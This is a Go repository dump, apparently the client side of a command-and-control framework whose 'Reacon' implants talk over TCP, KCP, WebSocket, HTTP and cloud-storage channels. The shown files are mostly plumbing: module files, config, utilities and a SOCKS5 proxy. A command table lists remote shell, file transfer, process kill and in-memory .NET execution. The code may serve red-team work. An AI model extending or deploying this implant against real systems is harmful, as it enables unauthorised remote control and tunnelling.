├── .idea ├── .gitignore ├── vcs.xml ├── modules.xml └── Rshell-client.iml ├── Reacon_oss ├── .idea │ ├── .gitignore │ ├── vcs.xml │ ├── modules.xml │ └── Reacon_oss.iml ├── pkg │ ├── config │ │ └── config.go │ ├── services │ │ ├── types.go │ │ └── proxy │ │ │ ├── bufferpool │ │ │ └── pool.go │ │ │ ├── server.go │ │ │ ├── statute │ │ │ ├── statute.go │ │ │ ├── addr.go │ │ │ ├── method.go │ │ │ └── auth.go │ │ │ ├── socks5.go │ │ │ ├── auth.go │ │ │ └── mux │ │ │ └── frame.go │ ├── utils │ │ ├── utils.go │ │ └── packet.go │ ├── sysinfo │ │ ├── sysinfo_darwin.go │ │ ├── sysinfo_linux.go │ │ ├── sysinfo_linux_arm.go │ │ └── meta.go │ ├── communication │ │ ├── communication.go │ │ └── oss.go │ ├── commands │ │ └── commands_linux.go │ └── encrypt │ │ └── encrypt.go ├── go.mod └── go.sum ├── Reacon_kcp ├── pkg │ ├── config │ │ └── config.go │ ├── services │ │ ├── types.go │ │ └── proxy │ │ │ ├── bufferpool │ │ │ └── pool.go │ │ │ ├── server.go │ │ │ ├── statute │ │ │ ├── statute.go │ │ │ ├── addr.go │ │ │ ├── method.go │ │ │ └── auth.go │ │ │ ├── socks5.go │ │ │ ├── auth.go │ │ │ └── mux │ │ │ └── frame.go │ ├── utils │ │ ├── utils.go │ │ └── packet.go │ ├── sysinfo │ │ ├── sysinfo_darwin.go │ │ ├── sysinfo_linux.go │ │ ├── sysinfo_linux_arm.go │ │ └── meta.go │ ├── encrypt │ │ └── encrypt.go │ ├── communication │ │ └── communication.go │ └── commands │ │ └── commands_linux.go └── go.mod ├── Reacon_tcp ├── pkg │ ├── config │ │ └── config.go │ ├── services │ │ ├── types.go │ │ └── proxy │ │ │ ├── bufferpool │ │ │ └── pool.go │ │ │ ├── server.go │ │ │ ├── statute │ │ │ ├── statute.go │ │ │ ├── addr.go │ │ │ ├── method.go │ │ │ └── auth.go │ │ │ ├── socks5.go │ │ │ ├── auth.go │ │ │ └── mux │ │ │ └── frame.go │ ├── utils │ │ ├── utils.go │ │ └── packet.go │ ├── sysinfo │ │ ├── sysinfo_darwin.go │ │ ├── sysinfo_linux.go │ │ ├── sysinfo_linux_arm.go │ │ └── meta.go │ ├── encrypt │ │ └── encrypt.go │ ├── communication │ │ └── communication.go │ └── commands │ │ └── commands_linux.go ├── go.mod └── go.sum ├── Reacon_websocket ├── pkg │ ├── config │ │ └── config.go │ ├── services │ │ ├── types.go │ │ └── proxy │ │ │ ├── bufferpool │ │ │ └── pool.go │ │ │ ├── server.go │ │ │ ├── statute │ │ │ ├── statute.go │ │ │ ├── addr.go │ │ │ ├── method.go │ │ │ └── auth.go │ │ │ ├── socks5.go │ │ │ ├── auth.go │ │ │ └── mux │ │ │ └── frame.go │ ├── utils │ │ ├── utils.go │ │ └── packet.go │ ├── sysinfo │ │ ├── sysinfo_darwin.go │ │ ├── sysinfo_linux.go │ │ ├── sysinfo_linux_arm.go │ │ └── meta.go │ ├── communication │ │ └── communication.go │ ├── encrypt │ │ └── encrypt.go │ └── commands │ │ └── commands_linux.go ├── go.mod └── go.sum └── Reacon_http ├── go.mod ├── pkg ├── services │ ├── types.go │ └── proxy │ │ ├── bufferpool │ │ └── pool.go │ │ ├── server.go │ │ ├── statute │ │ ├── statute.go │ │ ├── addr.go │ │ ├── method.go │ │ └── auth.go │ │ ├── socks5.go │ │ ├── auth.go │ │ └── mux │ │ └── frame.go ├── utils │ ├── utils.go │ └── packet.go ├── config │ └── config.go ├── sysinfo │ ├── sysinfo_darwin.go │ ├── sysinfo_linux.go │ ├── sysinfo_linux_arm.go │ └── meta.go ├── communication │ └── communication.go ├── encrypt │ └── encrypt.go └── commands │ ├── commands_linux.go │ └── execute-assembly_windows.go └── go.sum /.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # 默认忽略的文件 2 | /shelf/ 3 | /workspace.xml 4 | # 基于编辑器的 HTTP 客户端请求 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Reacon_oss/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # 默认忽略的文件 2 | /shelf/ 3 | /workspace.xml 4 | # 基于编辑器的 HTTP 客户端请求 5 | /httpRequests/ 6 | # Datasource local storage ignored files 7 | /dataSources/ 8 | /dataSources.local.xml 9 | -------------------------------------------------------------------------------- /Reacon_oss/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "strings" 5 | "time" 6 | ) 7 | 8 | var ( 9 | pass = "PASSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 10 | ExecuteKey = strings.ReplaceAll(pass, " ", "") 11 | WaitTime = 5000 * time.Millisecond 12 | ) 13 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "strings" 5 | "time" 6 | ) 7 | 8 | var ( 9 | pass = "PASSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 10 | ExecuteKey = strings.ReplaceAll(pass, " ", "") 11 | WaitTime = 5000 * time.Millisecond 12 | ) 13 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "strings" 5 | "time" 6 | ) 7 | 8 | var ( 9 | pass = "PASSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 10 | ExecuteKey = strings.ReplaceAll(pass, " ", "") 11 | WaitTime = 5000 * time.Millisecond 12 | ) 13 | -------------------------------------------------------------------------------- /.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/config/config.go: -------------------------------------------------------------------------------- 1 | package config 2 | 3 | import ( 4 | "strings" 5 | "time" 6 | ) 7 | 8 | var ( 9 | pass = "PASSAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" 10 | ExecuteKey = strings.ReplaceAll(pass, " ", "") 11 | WaitTime = 5000 * time.Millisecond 12 | ) 13 | -------------------------------------------------------------------------------- /Reacon_oss/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /.idea/Rshell-client.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Reacon_oss/.idea/Reacon_oss.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | -------------------------------------------------------------------------------- /Reacon_tcp/go.mod: -------------------------------------------------------------------------------- 1 | module Reacon 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/shirou/gopsutil v3.21.11+incompatible //获取pid的包 7 | golang.org/x/sys v0.29.0 8 | golang.org/x/text v0.21.0 9 | ) 10 | 11 | require ( 12 | github.com/Ne0nd0g/go-clr v1.0.3 13 | github.com/google/uuid v1.6.0 14 | golang.org/x/crypto v0.32.0 15 | ) 16 | 17 | require ( 18 | github.com/go-ole/go-ole v1.2.6 // indirect 19 | github.com/stretchr/testify v1.9.0 // indirect 20 | github.com/tklauser/go-sysconf v0.3.14 // indirect 21 | github.com/tklauser/numcpus v0.8.0 // indirect 22 | github.com/yusufpapurcu/wmi v1.2.4 // indirect 23 | ) 24 | -------------------------------------------------------------------------------- /Reacon_http/go.mod: -------------------------------------------------------------------------------- 1 | module Reacon 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/imroc/req v0.3.2 // 发送http请求的 7 | github.com/shirou/gopsutil v3.21.11+incompatible //获取pid的包 8 | golang.org/x/sys v0.27.0 9 | golang.org/x/text v0.20.0 10 | ) 11 | 12 | require ( 13 | github.com/Ne0nd0g/go-clr v1.0.3 14 | github.com/google/uuid v1.6.0 15 | golang.org/x/crypto v0.21.0 16 | ) 17 | 18 | require ( 19 | github.com/go-ole/go-ole v1.2.6 // indirect 20 | github.com/stretchr/testify v1.9.0 // indirect 21 | github.com/tklauser/go-sysconf v0.3.14 // indirect 22 | github.com/tklauser/numcpus v0.8.0 // indirect 23 | github.com/yusufpapurcu/wmi v1.2.4 // indirect 24 | ) 25 | -------------------------------------------------------------------------------- /Reacon_http/pkg/services/types.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | const ( 4 | SLEEP = 21 5 | PAUSE = 22 6 | SHELL = 23 7 | UploadStart = 24 8 | UploadLoop = 25 9 | DOWNLOAD = 26 10 | EXIT = 27 11 | CD = 28 12 | PWD = 29 13 | FileBrowse = 10 14 | EXECUTE = 11 15 | PS = 12 16 | KILL = 13 17 | DRIVES = 14 18 | MKDIR = 15 19 | RM = 16 20 | CP = 17 21 | MV = 18 22 | FileContent = 19 23 | Scoks5Start = 20 24 | Scoks5Close = 30 25 | ExecuteAssembly = 40 26 | InlineBin = 41 27 | ) 28 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/services/types.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | const ( 4 | SLEEP = 21 5 | PAUSE = 22 6 | SHELL = 23 7 | UploadStart = 24 8 | UploadLoop = 25 9 | DOWNLOAD = 26 10 | EXIT = 27 11 | CD = 28 12 | PWD = 29 13 | FileBrowse = 10 14 | EXECUTE = 11 15 | PS = 12 16 | KILL = 13 17 | DRIVES = 14 18 | MKDIR = 15 19 | RM = 16 20 | CP = 17 21 | MV = 18 22 | FileContent = 19 23 | Scoks5Start = 20 24 | Scoks5Close = 30 25 | ExecuteAssembly = 40 26 | InlineBin = 41 27 | ) 28 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/services/types.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | const ( 4 | SLEEP = 21 5 | PAUSE = 22 6 | SHELL = 23 7 | UploadStart = 24 8 | UploadLoop = 25 9 | DOWNLOAD = 26 10 | EXIT = 27 11 | CD = 28 12 | PWD = 29 13 | FileBrowse = 10 14 | EXECUTE = 11 15 | PS = 12 16 | KILL = 13 17 | DRIVES = 14 18 | MKDIR = 15 19 | RM = 16 20 | CP = 17 21 | MV = 18 22 | FileContent = 19 23 | Scoks5Start = 20 24 | Scoks5Close = 30 25 | ExecuteAssembly = 40 26 | InlineBin = 41 27 | ) 28 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/services/types.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | const ( 4 | SLEEP = 21 5 | PAUSE = 22 6 | SHELL = 23 7 | UploadStart = 24 8 | UploadLoop = 25 9 | DOWNLOAD = 26 10 | EXIT = 27 11 | CD = 28 12 | PWD = 29 13 | FileBrowse = 10 14 | EXECUTE = 11 15 | PS = 12 16 | KILL = 13 17 | DRIVES = 14 18 | MKDIR = 15 19 | RM = 16 20 | CP = 17 21 | MV = 18 22 | FileContent = 19 23 | Scoks5Start = 20 24 | Scoks5Close = 30 25 | ExecuteAssembly = 40 26 | InlineBin = 41 27 | ) 28 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/services/types.go: -------------------------------------------------------------------------------- 1 | package services 2 | 3 | const ( 4 | SLEEP = 21 5 | PAUSE = 22 6 | SHELL = 23 7 | UploadStart = 24 8 | UploadLoop = 25 9 | DOWNLOAD = 26 10 | EXIT = 27 11 | CD = 28 12 | PWD = 29 13 | FileBrowse = 10 14 | EXECUTE = 11 15 | PS = 12 16 | KILL = 13 17 | DRIVES = 14 18 | MKDIR = 15 19 | RM = 16 20 | CP = 17 21 | MV = 18 22 | FileContent = 19 23 | Scoks5Start = 20 24 | Scoks5Close = 30 25 | ExecuteAssembly = 40 26 | InlineBin = 41 27 | ) 28 | -------------------------------------------------------------------------------- /Reacon_websocket/go.mod: -------------------------------------------------------------------------------- 1 | module Reacon 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/shirou/gopsutil v3.21.11+incompatible //获取pid的包 7 | golang.org/x/sys v0.29.0 8 | golang.org/x/text v0.21.0 9 | ) 10 | 11 | require ( 12 | github.com/Ne0nd0g/go-clr v1.0.3 13 | github.com/google/uuid v1.6.0 14 | github.com/togettoyou/wsc v1.3.1 15 | golang.org/x/crypto v0.32.0 16 | ) 17 | 18 | require ( 19 | github.com/go-ole/go-ole v1.2.6 // indirect 20 | github.com/gorilla/websocket v1.4.2 // indirect 21 | github.com/jpillora/backoff v1.0.0 // indirect 22 | github.com/stretchr/testify v1.9.0 // indirect 23 | github.com/tklauser/go-sysconf v0.3.14 // indirect 24 | github.com/tklauser/numcpus v0.8.0 // indirect 25 | github.com/yusufpapurcu/wmi v1.2.4 // indirect 26 | ) 27 | -------------------------------------------------------------------------------- /Reacon_http/pkg/utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | ) 7 | 8 | func BytesCombine(pBytes ...[]byte) []byte { 9 | return bytes.Join(pBytes, []byte("")) 10 | } 11 | func ParseAnArg(buf *bytes.Buffer) ([]byte, error) { 12 | argLenBytes := make([]byte, 4) 13 | _, err := buf.Read(argLenBytes) 14 | if err != nil { 15 | return nil, err 16 | } 17 | argLen := binary.BigEndian.Uint32(argLenBytes) 18 | if argLen != 0 { 19 | arg := make([]byte, argLen) 20 | _, err = buf.Read(arg) 21 | if err != nil { 22 | return nil, err 23 | } 24 | //args := strings.Split(strings.TrimRight(string(arg), "\x00"), "\x00") 25 | //return []byte(args[0]), nil 26 | return arg, nil 27 | } else { 28 | return nil, err 29 | } 30 | 31 | } 32 | -------------------------------------------------------------------------------- /Reacon_oss/go.mod: -------------------------------------------------------------------------------- 1 | module Reacon 2 | 3 | go 1.20 4 | 5 | require ( 6 | github.com/shirou/gopsutil v3.21.11+incompatible //获取pid的包 7 | golang.org/x/sys v0.29.0 8 | golang.org/x/text v0.21.0 9 | ) 10 | 11 | require ( 12 | github.com/Ne0nd0g/go-clr v1.0.3 13 | github.com/aliyun/aliyun-oss-go-sdk v3.0.2+incompatible 14 | github.com/google/uuid v1.6.0 15 | golang.org/x/crypto v0.32.0 16 | ) 17 | 18 | require ( 19 | github.com/go-ole/go-ole v1.2.6 // indirect 20 | github.com/stretchr/testify v1.9.0 // indirect 21 | github.com/tklauser/go-sysconf v0.3.14 // indirect 22 | github.com/tklauser/numcpus v0.8.0 // indirect 23 | github.com/yusufpapurcu/wmi v1.2.4 // indirect 24 | golang.org/x/time v0.10.0 // indirect 25 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c // indirect 26 | ) 27 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "net" 7 | ) 8 | 9 | var MetaInfo []byte 10 | var TCPClient *net.TCPConn 11 | 12 | func BytesCombine(pBytes ...[]byte) []byte { 13 | return bytes.Join(pBytes, []byte("")) 14 | } 15 | func ParseAnArg(buf *bytes.Buffer) ([]byte, error) { 16 | argLenBytes := make([]byte, 4) 17 | _, err := buf.Read(argLenBytes) 18 | if err != nil { 19 | return nil, err 20 | } 21 | argLen := binary.BigEndian.Uint32(argLenBytes) 22 | if argLen != 0 { 23 | arg := make([]byte, argLen) 24 | _, err = buf.Read(arg) 25 | if err != nil { 26 | return nil, err 27 | } 28 | //args := strings.Split(strings.TrimRight(string(arg), "\x00"), "\x00") 29 | //return []byte(args[0]), nil 30 | return arg, nil 31 | } else { 32 | return nil, err 33 | } 34 | 35 | } 36 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "github.com/xtaci/kcp-go/v5" 7 | ) 8 | 9 | var MetaInfo []byte 10 | var KCPClient *kcp.UDPSession 11 | 12 | func BytesCombine(pBytes ...[]byte) []byte { 13 | return bytes.Join(pBytes, []byte("")) 14 | } 15 | func ParseAnArg(buf *bytes.Buffer) ([]byte, error) { 16 | argLenBytes := make([]byte, 4) 17 | _, err := buf.Read(argLenBytes) 18 | if err != nil { 19 | return nil, err 20 | } 21 | argLen := binary.BigEndian.Uint32(argLenBytes) 22 | if argLen != 0 { 23 | arg := make([]byte, argLen) 24 | _, err = buf.Read(arg) 25 | if err != nil { 26 | return nil, err 27 | } 28 | //args := strings.Split(strings.TrimRight(string(arg), "\x00"), "\x00") 29 | //return []byte(args[0]), nil 30 | return arg, nil 31 | } else { 32 | return nil, err 33 | } 34 | 35 | } 36 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "github.com/togettoyou/wsc" 7 | ) 8 | 9 | var MetaInfo []byte 10 | var WebsocketClient *wsc.Wsc 11 | 12 | func BytesCombine(pBytes ...[]byte) []byte { 13 | return bytes.Join(pBytes, []byte("")) 14 | } 15 | func ParseAnArg(buf *bytes.Buffer) ([]byte, error) { 16 | argLenBytes := make([]byte, 4) 17 | _, err := buf.Read(argLenBytes) 18 | if err != nil { 19 | return nil, err 20 | } 21 | argLen := binary.BigEndian.Uint32(argLenBytes) 22 | if argLen != 0 { 23 | arg := make([]byte, argLen) 24 | _, err = buf.Read(arg) 25 | if err != nil { 26 | return nil, err 27 | } 28 | //args := strings.Split(strings.TrimRight(string(arg), "\x00"), "\x00") 29 | //return []byte(args[0]), nil 30 | return arg, nil 31 | } else { 32 | return nil, err 33 | } 34 | 35 | } 36 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "bytes" 5 | "encoding/binary" 6 | "net" 7 | ) 8 | 9 | var MetaInfo []byte 10 | var TCPClient *net.TCPConn 11 | var Uid string 12 | var OSSId = 0 13 | 14 | func BytesCombine(pBytes ...[]byte) []byte { 15 | return bytes.Join(pBytes, []byte("")) 16 | } 17 | func ParseAnArg(buf *bytes.Buffer) ([]byte, error) { 18 | argLenBytes := make([]byte, 4) 19 | _, err := buf.Read(argLenBytes) 20 | if err != nil { 21 | return nil, err 22 | } 23 | argLen := binary.BigEndian.Uint32(argLenBytes) 24 | if argLen != 0 { 25 | arg := make([]byte, argLen) 26 | _, err = buf.Read(arg) 27 | if err != nil { 28 | return nil, err 29 | } 30 | //args := strings.Split(strings.TrimRight(string(arg), "\x00"), "\x00") 31 | //return []byte(args[0]), nil 32 | return arg, nil 33 | } else { 34 | return nil, err 35 | } 36 | 37 | } 38 | -------------------------------------------------------------------------------- /Reacon_http/pkg/services/proxy/bufferpool/pool.go: -------------------------------------------------------------------------------- 1 | package bufferpool 2 | 3 | import ( 4 | "sync" 5 | ) 6 | 7 | // BufPool is an interface for getting and returning temporary 8 | // byte slices for use by io.CopyBuffer. 9 | type BufPool interface { 10 | Get() []byte 11 | Put([]byte) 12 | } 13 | 14 | type pool struct { 15 | size int 16 | pool *sync.Pool 17 | } 18 | 19 | // NewPool new buffer pool for getting and returning temporary 20 | // byte slices for use by io.CopyBuffer. 21 | func NewPool(size int) BufPool { 22 | return &pool{ 23 | size, 24 | &sync.Pool{ 25 | New: func() interface{} { return make([]byte, 0, size) }}, 26 | } 27 | } 28 | 29 | // Get implement interface BufPool 30 | func (sf *pool) Get() []byte { 31 | return sf.pool.Get().([]byte) 32 | } 33 | 34 | // Put implement interface BufPool 35 | func (sf *pool) Put(b []byte) { 36 | if cap(b) != sf.size { 37 | panic("invalid buffer size that's put into leaky buffer") 38 | } 39 | sf.pool.Put(b[:0]) //nolint: staticcheck 40 | } 41 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/services/proxy/bufferpool/pool.go: -------------------------------------------------------------------------------- 1 | package bufferpool 2 | 3 | import ( 4 | "sync" 5 | ) 6 | 7 | // BufPool is an interface for getting and returning temporary 8 | // byte slices for use by io.CopyBuffer. 9 | type BufPool interface { 10 | Get() []byte 11 | Put([]byte) 12 | } 13 | 14 | type pool struct { 15 | size int 16 | pool *sync.Pool 17 | } 18 | 19 | // NewPool new buffer pool for getting and returning temporary 20 | // byte slices for use by io.CopyBuffer. 21 | func NewPool(size int) BufPool { 22 | return &pool{ 23 | size, 24 | &sync.Pool{ 25 | New: func() interface{} { return make([]byte, 0, size) }}, 26 | } 27 | } 28 | 29 | // Get implement interface BufPool 30 | func (sf *pool) Get() []byte { 31 | return sf.pool.Get().([]byte) 32 | } 33 | 34 | // Put implement interface BufPool 35 | func (sf *pool) Put(b []byte) { 36 | if cap(b) != sf.size { 37 | panic("invalid buffer size that's put into leaky buffer") 38 | } 39 | sf.pool.Put(b[:0]) //nolint: staticcheck 40 | } 41 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/services/proxy/bufferpool/pool.go: -------------------------------------------------------------------------------- 1 | package bufferpool 2 | 3 | import ( 4 | "sync" 5 | ) 6 | 7 | // BufPool is an interface for getting and returning temporary 8 | // byte slices for use by io.CopyBuffer. 9 | type BufPool interface { 10 | Get() []byte 11 | Put([]byte) 12 | } 13 | 14 | type pool struct { 15 | size int 16 | pool *sync.Pool 17 | } 18 | 19 | // NewPool new buffer pool for getting and returning temporary 20 | // byte slices for use by io.CopyBuffer. 21 | func NewPool(size int) BufPool { 22 | return &pool{ 23 | size, 24 | &sync.Pool{ 25 | New: func() interface{} { return make([]byte, 0, size) }}, 26 | } 27 | } 28 | 29 | // Get implement interface BufPool 30 | func (sf *pool) Get() []byte { 31 | return sf.pool.Get().([]byte) 32 | } 33 | 34 | // Put implement interface BufPool 35 | func (sf *pool) Put(b []byte) { 36 | if cap(b) != sf.size { 37 | panic("invalid buffer size that's put into leaky buffer") 38 | } 39 | sf.pool.Put(b[:0]) //nolint: staticcheck 40 | } 41 | -------------------------------------------------------------------------------- /Reacon_tcp/pkg/services/proxy/bufferpool/pool.go: -------------------------------------------------------------------------------- 1 | package bufferpool 2 | 3 | import ( 4 | "sync" 5 | ) 6 | 7 | // BufPool is an interface for getting and returning temporary 8 | // byte slices for use by io.CopyBuffer. 9 | type BufPool interface { 10 | Get() []byte 11 | Put([]byte) 12 | } 13 | 14 | type pool struct { 15 | size int 16 | pool *sync.Pool 17 | } 18 | 19 | // NewPool new buffer pool for getting and returning temporary 20 | // byte slices for use by io.CopyBuffer. 21 | func NewPool(size int) BufPool { 22 | return &pool{ 23 | size, 24 | &sync.Pool{ 25 | New: func() interface{} { return make([]byte, 0, size) }}, 26 | } 27 | } 28 | 29 | // Get implement interface BufPool 30 | func (sf *pool) Get() []byte { 31 | return sf.pool.Get().([]byte) 32 | } 33 | 34 | // Put implement interface BufPool 35 | func (sf *pool) Put(b []byte) { 36 | if cap(b) != sf.size { 37 | panic("invalid buffer size that's put into leaky buffer") 38 | } 39 | sf.pool.Put(b[:0]) //nolint: staticcheck 40 | } 41 | -------------------------------------------------------------------------------- /Reacon_websocket/pkg/services/proxy/bufferpool/pool.go: -------------------------------------------------------------------------------- 1 | package bufferpool 2 | 3 | import ( 4 | "sync" 5 | ) 6 | 7 | // BufPool is an interface for getting and returning temporary 8 | // byte slices for use by io.CopyBuffer. 9 | type BufPool interface { 10 | Get() []byte 11 | Put([]byte) 12 | } 13 | 14 | type pool struct { 15 | size int 16 | pool *sync.Pool 17 | } 18 | 19 | // NewPool new buffer pool for getting and returning temporary 20 | // byte slices for use by io.CopyBuffer. 21 | func NewPool(size int) BufPool { 22 | return &pool{ 23 | size, 24 | &sync.Pool{ 25 | New: func() interface{} { return make([]byte, 0, size) }}, 26 | } 27 | } 28 | 29 | // Get implement interface BufPool 30 | func (sf *pool) Get() []byte { 31 | return sf.pool.Get().([]byte) 32 | } 33 | 34 | // Put implement interface BufPool 35 | func (sf *pool) Put(b []byte) { 36 | if cap(b) != sf.size { 37 | panic("invalid buffer size that's put into leaky buffer") 38 | } 39 | sf.pool.Put(b[:0]) //nolint: staticcheck 40 | } 41 | -------------------------------------------------------------------------------- /Reacon_kcp/go.mod: -------------------------------------------------------------------------------- 1 | module Reacon 2 | 3 | go 1.21 4 | 5 | toolchain go1.24.0 6 | 7 | require ( 8 | github.com/shirou/gopsutil v3.21.11+incompatible //获取pid的包 9 | golang.org/x/sys v0.27.0 10 | golang.org/x/text v0.20.0 11 | ) 12 | 13 | require ( 14 | github.com/Ne0nd0g/go-clr v1.0.3 15 | github.com/google/uuid v1.6.0 16 | github.com/xtaci/kcp-go/v5 v5.6.18 17 | golang.org/x/crypto v0.21.0 18 | ) 19 | 20 | require ( 21 | github.com/go-ole/go-ole v1.2.6 // indirect 22 | github.com/klauspost/cpuid/v2 v2.2.6 // indirect 23 | github.com/klauspost/reedsolomon v1.12.0 // indirect 24 | github.com/pkg/errors v0.9.1 // indirect 25 | github.com/stretchr/testify v1.9.0 // indirect 26 | github.com/templexxx/cpu v0.1.1 // indirect 27 | github.com/templexxx/xorsimd v0.4.3 // indirect 28 | github.com/tjfoc/gmsm v1.4.1 // indirect 29 | github.com/tklauser/go-sysconf v0.3.14 // indirect 30 | github.com/tklauser/numcpus v0.8.0 // indirect 31 | github.com/yusufpapurcu/wmi v1.2.4 // indirect 32 | golang.org/x/net v0.23.0 // indirect 33 | ) 34 | -------------------------------------------------------------------------------- /Reacon_http/pkg/services/proxy/server.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "bufio" 5 | "errors" 6 | "fmt" 7 | "net" 8 | 9 | "Reacon/pkg/services/proxy/statute" 10 | ) 11 | 12 | // ServeConn is used to serve a single connection. 13 | func ServeConn(conn net.Conn) error { 14 | defer conn.Close() 15 | bufConn := bufio.NewReader(conn) 16 | 17 | // The client request detail 18 | request, err := ParseRequest(bufConn) 19 | if err != nil { 20 | if errors.Is(err, statute.ErrUnrecognizedAddrType) { 21 | if err := SendReply(conn, statute.RepAddrTypeNotSupported, nil); err != nil { 22 | return fmt.Errorf("failed to send reply %w", err) 23 | } 24 | } 25 | return fmt.Errorf("failed to read destination address, %w", err) 26 | } 27 | 28 | if request.Request.Command != statute.CommandConnect && 29 | request.Request.Command != statute.CommandBind && 30 | request.Request.Command != statute.CommandAssociate { 31 | if err := SendReply(conn, statute.RepCommandNotSupported, nil); err != nil { 32 | return fmt.Errorf("failed to send reply, %v", err) 33 | } 34 | return fmt.Errorf("unrecognized command[%d]", request.Request.Command) 35 | } 36 | 37 | //request.AuthContext = authContext 38 | request.LocalAddr = conn.LocalAddr() 39 | request.RemoteAddr = conn.RemoteAddr() 40 | // Process the client request 41 | return handleRequest(conn, request) 42 | } 43 | -------------------------------------------------------------------------------- /Reacon_kcp/pkg/services/proxy/server.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "bufio" 5 | "errors" 6 | "fmt" 7 | "net" 8 | 9 | "Reacon/pkg/services/proxy/statute" 10 | ) 11 | 12 | // ServeConn is used to serve a single connection. 13 | func ServeConn(conn net.Conn) error { 14 | defer conn.Close() 15 | bufConn := bufio.NewReader(conn) 16 | 17 | // The client request detail 18 | request, err := ParseRequest(bufConn) 19 | if err != nil { 20 | if errors.Is(err, statute.ErrUnrecognizedAddrType) { 21 | if err := SendReply(conn, statute.RepAddrTypeNotSupported, nil); err != nil { 22 | return fmt.Errorf("failed to send reply %w", err) 23 | } 24 | } 25 | return fmt.Errorf("failed to read destination address, %w", err) 26 | } 27 | 28 | if request.Request.Command != statute.CommandConnect && 29 | request.Request.Command != statute.CommandBind && 30 | request.Request.Command != statute.CommandAssociate { 31 | if err := SendReply(conn, statute.RepCommandNotSupported, nil); err != nil { 32 | return fmt.Errorf("failed to send reply, %v", err) 33 | } 34 | return fmt.Errorf("unrecognized command[%d]", request.Request.Command) 35 | } 36 | 37 | //request.AuthContext = authContext 38 | request.LocalAddr = conn.LocalAddr() 39 | request.RemoteAddr = conn.RemoteAddr() 40 | // Process the client request 41 | return handleRequest(conn, request) 42 | } 43 | -------------------------------------------------------------------------------- /Reacon_oss/pkg/services/proxy/server.go: -------------------------------------------------------------------------------- 1 | package Proxy 2 | 3 | import ( 4 | "bufio" 5 | "errors" 6 | "fmt" 7 | "net" 8 | 9 | "Reacon/pkg/services/proxy/statute" 10 | ) 11 | 12 | // ServeConn is used to serve a single connection. 13 | func ServeConn(conn net.Conn) error { 14 | defer conn.Close() 15 | bufConn := bufio.NewReader(conn) 16 | 17 | // The client request detail 18 | request, err := ParseRequest(bufConn) 19 | if err != nil { 20 | if errors.Is(err, statute.ErrUnrecognizedAddrType) { 21 | if err := SendReply(conn, statute.RepAddrTypeNotSupported, nil); err != nil { 22 | return fmt.Errorf("failed to send reply %w", err) 23 | } 24 | } 25 | return fmt.Errorf("failed to read destination address, %w", err) 26 | } 27 | 28 | if request.Request.Command != statute.CommandConnect && 29 | request.Request.Command != statute.CommandBind && 30 | request.Request.Command != statute.CommandAssociate { 31 | if err := SendReply(conn, statute.RepCommandNotSupported, nil); err != nil { 32 | return fmt.Errorf("failed to send reply, %v", err) 33 | } 34 | return fmt.Errorf("unrecognized command[%d]", request.Request.Command) 35 | } 36 | 37 | //request.AuthContext = authContext 38 | request.LocalAddr = 